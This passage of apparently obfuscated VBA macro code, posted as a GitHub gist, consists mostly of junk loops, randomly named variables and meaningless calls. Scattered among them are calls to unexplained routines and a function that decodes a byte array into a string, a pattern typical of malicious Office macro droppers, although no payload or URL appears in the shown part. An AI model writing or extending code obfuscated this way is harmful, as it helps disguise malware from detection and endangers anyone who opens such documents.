Dim U7PlAu72 As String
U7PlAu72 = FreeFile(287)
Mbau = 91034
Dim UvULlW As Integer
UvULlW = 49
If UvULlW > 24 Then
UvULlW = 1
While UvULlW <= 153
UvULlW = UvULlW + 1
Wend
End If
Dim U7PlAu73 As String
If IsError(162) = True Then U7PlAu73 = "952"
For FS7rPff = 1 To Mbau
UN83e3l = UN83e3l + 1
Next FS7rPff
Dim AT2jo As Integer
AT2jo = 6
If AT2jo > 25 Then
AT2jo = 7
Do
AT2jo = AT2jo + 1
Loop While AT2jo <= 83
End If
Dim U7PlAu74 As String
If UN83e3l = Mbau Then
Dim Dxnm1 As Integer
Dxnm1 = 31
If Dxnm1 > 30 Then
Dxnm1 = 2
Do While Dxnm1 <= 12
Dxnm1 = Dxnm1 + 1
Loop
End If
Dim U7PlAu75 As String
U7PlAu75 = Sqr(222)
Dim GyCV6P9 As Integer, Ew As String
Dim U7PlAu77 As String
U7PlAu77 = Dir("863")
For GyCV6P9 = 6 To 919
Ew = Ew + GyCV6P9
Next
Dim U7PlAu78 As String
U7PlAu78 = Sqr(222)
Dim D5t3m As Integer
D5t3m = 81
If D5t3m > 30 Then
D5t3m = 4
While D5t3m <= 169
D5t3m = D5t3m + 1
Wend
End If
GmY
Else
Dim U7PlAu79 As String
U7PlAu79 = Year(Now)
Dim RxhREzo As Integer
RxhREzo = 20
If RxhREzo > 27 Then
RxhREzo = 4
Do While RxhREzo <= 275
RxhREzo = RxhREzo + 1
Loop
End If
GwQ9d
Dim LPA As Integer
LPA = 48
If LPA > 40 Then
LPA = 9
Do While LPA <= 48
LPA = LPA + 1
Loop
End If
Dim U7PlAu80 As String
If U7PlAu80 = "306" Then Resume
End If
Dim KUA1 As Integer
KUA1 = 51
If KUA1 > 38 Then
KUA1 = 3
Do Until KUA1 >= 67
KUA1 = KUA1 + 1
Loop
End If
Dim U7PlAu81 As String
U7PlAu81 = DoEvents
End Sub
Private Function M6C(PWwslQ6() As Byte) As String
Dim Wew As Integer
Wew = 6
If Wew > 30 Then
Wew = 8
Do
Wew = Wew + 1
Loop While Wew <= 182
End If
Dim U7PlAu82 As String
U7PlAu82 = CByte(96)
Dim UmtI5E As Long
'invades
Dim AI5mnr As Integer
AI5mnr = 71
If AI5mnr > 31 Then
AI5mnr = 4
Do
AI5mnr = AI5mnr + 1
Loop While AI5mnr <= 91
End If
Dim U7PlAu83 As String
U7PlAu83 = AscB(997)
For UmtI5E = 0 To OHb(PWwslQ6)
Dim Whc As Integer
Whc = 3
If Whc > 22 Then
Whc = 6
Do Until Whc >= 49
Whc = Whc + 1
Loop
End If
Dim U7PlAu84 As String
If U7PlAu84 = "458" Then DoEvents
M6C = M6C & Qxd7GSg(PWwslQ6(UmtI5E))
Dim V6Oc As Integer
V6Oc = 31
If V6Oc > 35 Then
V6Oc = 4
While V6Oc <= 55
V6Oc = V6Oc + 1
Wend
End If
Dim U7PlAu85 As String
U7PlAu85 = CLng(571)
Next UmtI5E
Dim TNPv As Integer
TNPv = 97
If TNPv > 40 Then
TNPv = 5
Do
TNPv = TNPv + 1
Loop While TNPv <= 202
End If
Dim U7PlAu86 As String
U7PlAu86 = DateValue(Date)
End Function
Private Function SGo0s(TUO, KDSkW)
Dim U7PlAu87 As String
U7PlAu87 = Fix(900.66)
SGo0s = TUO - (KDSkW * (TUO \ KDSkW))
Dim U7PlAu88 As String
U7PlAu88 = CLng(981)
End Function
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.